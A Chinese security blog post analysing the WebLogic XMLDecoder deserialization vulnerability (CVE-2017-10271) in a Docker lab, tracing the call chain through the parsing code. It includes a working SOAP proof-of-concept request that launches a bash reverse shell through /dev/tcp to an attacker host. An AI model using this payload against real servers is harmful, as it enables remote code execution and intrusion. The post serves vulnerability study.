WEBlogic-XMLdecoder(库存)

发布于 2022-05-09  92 次阅读


CVE-2017-10271

XMLDecoder 反序列化漏洞

影响版本:

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0

漏洞详情

WebLogic Server组件的WLS Security子组件存在安全漏洞。

环境搭建

教程

WebLogic XMLDecoder反序列化漏洞

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271

docker compose up

访问127.0.0.1:7001/console

进入weblogic配置界面

//docker进入其命令行
docker exec -it e4a4cd55816f559927dc9ab98ef9e7a2de44fee83c37d3c5b4db732eac3768d9 sh

docker exec -it 90559a88512a9922dedecc98a312cf8017d9795888aa553519cc1d7917c7ede5 /bin/sh

开启远程调试

修改容器:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 文件

修改docker yml配置文件,开放远程调试端口

docker容器重新启动一下,查看远程调试端口

docker cp命令保存到本机

❯ docker cp cve-2017-10271_weblogic_1:/root/Oracle/Middleware/wlserver_10.3 ../../../WebLogic_jars
❯ docker cp cve-2017-10271_weblogic_1:/root/Oracle/Middleware/modules ../../../WebLogic_jars

用idea打开刚才存到本机的文件夹

添加lib和modules两个文件夹为库

添加remote远程调试,注意修改端口为8453

debug测试

连接成功

使用poc测试反弹shell

poc:

漏洞地址:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

Content-Type: text/xml

//post数据:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/xxx/45555 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

分析poc

知识点:

xml的解析。

堆与栈,java方法。

jar包和war包的介绍和区别

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。

war包中的文件按照一定目录结构来组织。根据其根目录下包含有html和jsp文件,或者包含有这两种文件的目录,另外还有WEB-INF目录。通常在WEB-INF目录下含有一个web.xml文件和一个classes目录,web.xml是这个应用的配置文件,而classes目录下则包含编译好的servlet类和jsp,或者servlet所依赖的其他类(如JavaBean)。通常这些所依赖的类也可以打包成jar包放在WEB-INF下的lib目录下。

一个WAR文件就是一个Web应用程序

根据返回的xml信息分析方法调用

链分析

根据poc路径得到,wls-wsat出现漏洞,在源码中搜索的到war包,并且查看web.xml配置信息。

能在request的返回xml信息中得到(如上图,由下到上分别是调用栈顺序),就是在servlet中的类调用后。

  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube中调用的processRequest方法 public NextAction processRequest(Packet var1) { this.isUseOldFormat = false; //getMessage方法获得POST信息 if (var1.getMessage() != null) { HeaderList var2 = var1.getMessage().getHeaders(); //getHeaders()获取键值对 #推测 Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true); if (var3 != null) { this.readHeaderOld(var3); this.isUseOldFormat = true; } Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true); if (var4 != null) { this.readHeader(var4); } } return super.processRequest(var1);} 调用链下一步是readHeaderOld方法,那么就是var3不为null,网上说var3是xml的头部解析,暂时就不深度去理解了,尝试过,看不懂 回头再继续一下处理后的数据: var1: com.sun.xml.ws.api.message.Packet@4286ae77 Content: <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >&amp; /dev/tcp/172.20.10.4/1 0>&amp;1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
  • weblogic.wsee.jaxws.workcontext.WorkContextTube中调用的readHeaderOld方法 protected void readHeaderOld(Header var1) { try { XMLStreamReader var2 = var1.readHeader(); var2.nextTag(); var2.nextTag(); XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter(); ByteArrayOutputStream var4 = new ByteArrayOutputStream(); XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4); var3.bridge(var2, var5); var5.close(); WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray())); this.receive(var6); } catch (XMLStreamException var7) { throw new WebServiceException(var7); } catch (IOException var8) { throw new WebServiceException(var8); } } 下一步调用receive方法,var6是被建立的WorkContextXmlInputAdapter示例。这个类内容如下: public WorkContextXmlInputAdapter(InputStream var1) { this.xmlDecoder = new XMLDecoder(var1); } XMLDecoder将xml对象反序列化成map对象(Map,将键映射到值的对象) 而如果其xml内容包含可执行内容,在反序列化后会执行 java反序列化--XMLDecoder反序列化漏洞 在readHeaderOld处理后: var4: <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >&amp; /dev/tcp/172.20.10.4/1 0>&amp;1</string> </void> </array> <void method="start"/></void> </java>
  • weblogic.wsee.jaxws.workcontext.WorkContextSeverTube中调用的receive方法 通过子类实现receive方法 protected void receive(WorkContextInput var1) throws IOException { WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor(); var2.receiveRequest(var1); } 从这里开始,变量跟踪无法使用了T-T
  • weblogic.workarea.WorkContextMaplmpl中调用的receiveRequest方法 接口类 void receiveRequest(WorkContextInput var1) throws IOException; public void receiveRequest(WorkContextInput var1) throws IOException { ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1); }
  • weblogic.workarea.WorkContextLocalMap中调用的receiveRequest方法 public void receiveRequest(WorkContextInput var1) throws IOException { while(true) { try { WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1); if (var2 == WorkContextEntry.NULL_CONTEXT) { return; } String var3 = var2.getName(); this.map.put(var3, var2); if (debugWorkContext.isDebugEnabled()) {debugWorkContext.debug("receiveRequest(" + var2.toString() + ")"); } } catch (ClassNotFoundException var4) { if (debugWorkContext.isDebugEnabled()) { debugWorkContext.debug("receiveRequest : ", var4); } } } }
  • weblogic.workarea.spi.WorkContextEntryImpl中调用的readEntry方法 public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException { String var1 = var0.readUTF(); return (WorkContextEntry)(var1.length() == 0 ?NULL_CONTEXT: new WorkContextEntryImpl(var1, var0)); }
  • weblogic.wsee.workarea.WorkContextXmlInputAdapter中调用的readUTF方法 public String readUTF() throws IOException { return (String)this.xmlDecoder.readObject(); }

整个链观察下来,确实没有对xml的数据进行任何过滤处理。

根本上是readObject()导致的反序列化触发rce漏洞

poc构成

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
<soapenv:Header>
<cxmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击机ip/端口 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

外部就是一个简单的xml命名空间(被soap给骗了,和soap的Envelope不是一个东西)

这里主要是XMLdecoder的解析部分:

XMLdecoder解析部分

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;

public class Xmldecoder {
    public static void xmldecode_unserilize(String path) throws Exception{
        File file = new File(path);
        FileInputStream fileInputStream = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fileInputStream);
        XMLDecoder xmlDecoder = new XMLDecoder(bis);
        xmlDecoder.readObject();
        xmlDecoder.close();
    }

    public static void main(String[] args){
        String path = "/Users/xxx/Desktop/poc.xml";
        try{
            xmldecode_unserilize(path);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

fileinputstream处两行就是以字节流的形式读文件。

在readObject()处打断点:

进入XMLDecoder.java的parsingComplete方法

private boolean parsingComplete() {
        if (this.input == null) {
//private final InputSource input;
            return false;
        }
        if (this.array == null) {
            if ((this.acc == null) && (null != System.getSecurityManager())) {
                throw new SecurityException("AccessControlContext is not set");
            }
            AccessController.doPrivileged(new PrivilegedAction<Void>() {
                public Void run() {
                    XMLDecoder.this.handler.parse(XMLDecoder.this.input);
                    return null;
                }
            }, this.acc);
            this.array = this.handler.getObjects();
        }
        return true;
    }

这里input值涉及到了封装与Buffer的理解,input就是InputSource的实例化,而InputSource是一个封装类。

这个实例化过程在进入XMLDecoder类后第一步就实现了,具体实现代码如下:

public XMLDecoder(InputStream in, Object owner,
                      ExceptionListener exceptionListener, ClassLoader cl) {
        this(new InputSource(in), owner, exceptionListener, cl);
    }

随后判断安全性array数组的判断,这里内部有点复杂了,简单叙述一下其作用。

AccessController提供了一个默认的安全策略执行机制,它使用栈检查来决定潜在不安全的操作是否被允许。

其checkPermission静态方法,该方法决定一个特定的操作是否被允许。允许则简单返回,禁止则抛出AccessControlException异常。

  • 栈检查机制 :使本无权限的代码在调用其有权限的代码时,具有权限
假设有这样一种情况:程序A想在/tmp目录中新建一个文件,它没有相应的权限,但是它引用了另外一个B.Jar包,刚好B有权限在/tmp目录中新建文件,而B在新建文件的时候采用的是AccessController.doPrivileged方法进行的,这种情况下A就可以调用B的创建文件方法进行文件创建。

doPrivileged中断了栈检查过程,使得后续原本没有权限的代码也可以正常执行,从而成功创建文件,如果不使用AccessController.doPrivileged,会一直进行栈检查直到栈底位置,在程序A的栈帧(栈底)中会抛出权限异常,文件创建失败。

再往后看,进入

public Void run(){XMLDecoder.this.handler.parse(XMLDecoder.this.input);

private final DocumentHandler handler = new DocumentHandler();

资料说:所有反序列化的操作都是在这个类中进行的

parse方法分析

public void parse(final InputSource var1) {
        if (this.acc == null && null != System.getSecurityManager()) {
            throw new SecurityException("AccessControlContext is not set");
        } else {
            AccessControlContext var2 = AccessController.getContext();
            SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
                public Void run() {
                    try {
                        SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
                    } catch (ParserConfigurationException var3) {
                        DocumentHandler.this.handleException(var3);
                    } catch (SAXException var4) {
                        Object var2 = var4.getException();
                        if (var2 == null) {
                            var2 = var4;
                        }

                        DocumentHandler.this.handleException((Exception)var2);
                    } catch (IOException var5) {
                        DocumentHandler.this.handleException(var5);
                    }

                    return null;
                }
            }, var2, this.acc);
        }
    }

parse的第一个参数要求是InputSource的实例化,在其传入之后,依然是acc的处理,其实基本可以跳过acc的部分了。

进入到

SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this)

“SAXParserFactory实例化了一个SAXParser的实例,并且调用了其中的parse方法“

  • SAX解析 JAVA 解析 XML 通常有两种方式,DOM 和 SAX。 SAX API中主要有四种处理事件的接口,它们分别是ContentHandler,DTDHandler, EntityResolver 和 ErrorHandler。 SAXParserFactory 获取解析器parser。在从解析器中获得解析xml文件的xmlReader。 DefaultHandler就是实现了上面的四个事件处理器接口(也就是说DefaultHandler是SAX一些方法的继承),然后提供了每个抽象方法的默认实现。 而通常情况下,用户自定义的handler是继承DefaultHandler的(比如本文的DocumentHandler)
public SAXParser newSAXParser() throws ParserConfigurationException, SAXException {
        return new SAXParserFactoryAdaptor.SAXParserImpl();
    }

这里的var1就是parse的InputSource对象

  • 设计模式之适配器模式 对象适配器和类适配器
  • * 第二个参数:* public DocumentHandler() { this.setElementHandler("java", JavaElementHandler.class); this.setElementHandler("null", NullElementHandler.class); this.setElementHandler("array", ArrayElementHandler.class); this.setElementHandler("class", ClassElementHandler.class); this.setElementHandler("string", StringElementHandler.class); this.setElementHandler("object", ObjectElementHandler.class); this.setElementHandler("void", VoidElementHandler.class); this.setElementHandler("char", CharElementHandler.class); this.setElementHandler("byte", ByteElementHandler.class); this.setElementHandler("short", ShortElementHandler.class); this.setElementHandler("int", IntElementHandler.class); this.setElementHandler("long", LongElementHandler.class); this.setElementHandler("float", FloatElementHandler.class); this.setElementHandler("double", DoubleElementHandler.class); this.setElementHandler("boolean", BooleanElementHandler.class); this.setElementHandler("new", NewElementHandler.class); this.setElementHandler("var", VarElementHandler.class); this.setElementHandler("true", TrueElementHandler.class); this.setElementHandler("false", FalseElementHandler.class); this.setElementHandler("field", FieldElementHandler.class); this.setElementHandler("method", MethodElementHandler.class); this.setElementHandler("property", PropertyElementHandler.class); }

进入SAXParserImpl的parse方法

注意这里方法被重写了

public void parse(InputSource is, DefaultHandler dh)
        throws SAXException, IOException {
        if (is == null) {
            throw new IllegalArgumentException("InputSource cannot be null");
        }

        if (dh != null) {
            xmlReader.setContentHandler(dh);
            xmlReader.setEntityResolver(dh);
            xmlReader.setErrorHandler(dh);
            xmlReader.setDTDHandler(dh);
        }
        xmlReader.parse(is);
    }

dh为DefaultHandler对象,其中的内容是对应xml标签的解析器

xmlReader为SAXParserImpl的内部类JAXPSAXParser的实例

  • 先看JAXPSAXParser的parse方法 xmlReader.parse(is); 进入 public void parse(InputSource inputSource) throws SAXException, IOException { if (fSAXParser != null && fSAXParser.fSchemaValidator != null) { if (fSAXParser.fSchemaValidationManager != null) { fSAXParser.fSchemaValidationManager.reset(); fSAXParser.fUnparsedEntityHandler.reset(); } resetSchemaValidator(); } super.parse(inputSource); } 类中定义: private final XMLComponent fSchemaValidator; private final SAXParserImpl fSAXParser; 再进入super.parse。parse方法在AbstractSAXParser里 public void parse(InputSource inputSource) throws SAXException, IOException { // parse document try { XMLInputSource xmlInputSource = new XMLInputSource(inputSource.getPublicId(), inputSource.getSystemId(), null); xmlInputSource.setByteStream(inputSource.getByteStream()); xmlInputSource.setCharacterStream(inputSource.getCharacterStream()); xmlInputSource.setEncoding(inputSource.getEncoding()); parse(xmlInputSource); }</code></pre>实际上就是将前面封装的InputSource对象转换成XMLInputSource对象(将byte流赋值给xmlInputSource对象,设置编码)。继续调用parse方法,调试可知为XMLParser.parse方法,参数为XMLInputSource对象。 (猜测自动检测正确编码) 然后再调用XMLPraser public void parse(XMLInputSource inputSource) throws XNIException, IOException { // null indicates that the parser is called directly, initialize them if (securityManager == null) { securityManager = new XMLSecurityManager(true); fConfiguration.setProperty(Constants.SECURITY_MANAGER, securityManager); } if (securityPropertyManager == null) { securityPropertyManager = new XMLSecurityPropertyManager(); fConfiguration.setProperty(Constants.XML_SECURITY_PROPERTY_MANAGER, securityPropertyManager); } reset(); fConfiguration.parse(inputSource); } // parse(XMLInputSource)</code></pre>最后进入XML11Configuration的parse方法 public void parse(XMLInputSource source) throws XNIException, IOException { if (fParseInProgress) { // REVISIT - need to add new error message throw new XNIException("FWK005 parse may not be called while parsing."); } fParseInProgress = true; try { setInputSource(source); parse(true); } catch (XNIException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (IOException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (RuntimeException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (Exception ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw new XNIException(ex); } finally { fParseInProgress = false; // close all streams opened by xerces this.cleanup(); } } // parse(InputSource)</code></pre>将xmlInputSource对象封装为fInputSource 然后调用parse方法(true) public boolean parse(boolean complete) throws XNIException, IOException { // // reset and configure pipeline and set InputSource. if (fInputSource != null) { try { fValidationManager.reset(); fVersionDetector.reset(this); fConfigUpdated = true; resetCommon(); short version = fVersionDetector.determineDocVersion(fInputSource); if (version == Constants.XML_VERSION_1_1) { initXML11Components(); configureXML11Pipeline(); resetXML11(); } else { configurePipeline(); reset(); } // mark configuration as fixed fConfigUpdated = false; // resets and sets the pipeline. fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version); fInputSource = null; } catch (XNIException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (IOException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (RuntimeException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (Exception ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw new XNIException(ex); } } try { return fCurrentScanner.scanDocument(complete); } catch (XNIException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (IOException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (RuntimeException ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw ex; } catch (Exception ex) { if (PRINT_EXCEPTION_STACK_TRACE) ex.printStackTrace(); throw new XNIException(ex); } }</code></pre>这里注意方法 fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version); 为XML实体解析,获取xml的一些版本信息等操作 然后跟进到 return fCurrentScanner.scanDocument(complete);
  • 进入到fCurrentScanner.scanDocument 后 通过next函数返回解析状态,并根据case语句。 具体解析过程在XMLDocumentFragmentScannerImpl这个类的ContentDriver类中 跳过没必要了解的部分:
  • 最后调用到DocumentHandler的startElement才到真正反序列化的地方
    • java节点 调用了DocumentHandler.startElement函数, JavaElementHandler的addAttribute,通过我们设置的class属性的内容,获取了对应的类,也就是java.beans.XMLDecoder类的class
    • object节点 调用了ObjectElementHandler.startElement函数 通过调用调用父类的addAttribute方法,获得了ProcessBuilder的class
    • array节点 调用ArrayElementHandler.startElement,实例化了一个数组元素,并且返回了一个ValueObject对象。 addAttribute:定义了数组元素的类型和数组大小
    • void节点 void节点其实是object节点的一个子类,它的作用就是声明一个变量。
    • 节点处理结束后 在一个节点处理结束以后,会由内向外依次调用每个节点的endElement方法 示例: <java version="1.7.0.80" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"> <void index="0"> <string>touch</string> </void> <void index="1"> <string>/tmp/xmlsuccess</string> </void> </array> <void method="start"/> </object> </java> 1. string -> end # touch 2. void -> end # index 0 3. string -> end # /tmp/xmlsuccess 4. void ->end # index 1 5. array -> end 6. void -> end # method start 7. object -> end 8. java -> end 是以一种链式的关系触发的。 最内层void: void节点会获取上一个(层)Handler的ValueObject的值,而这个ValueObject的value就是我们在属性中定义的对象。我们在array节点中定义了一个大小为2的String数组,所以获取到的ValueObject就为这个数组。 当void的index=“0”,会进入到这种情况 执行(index为0的值),并以(index为1的值)为参数 向外一层的void: 会调用外层的object标签的值,获取了ProcessBuilder对象

回到POC中心java部分: <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;&amp; /dev/tcp/攻击机ip/端口 0&gt;&amp;1</string> </void> </array> <void method="start"/></void> </java> 此处定义了一个大小为3的数组,同样,index=0处为命令,而1,2处以此类推为命令的参数,就可以看懂这个脚本了。 总之,index=0就可以导致命令执行了


间桐桜のお菓子屋さん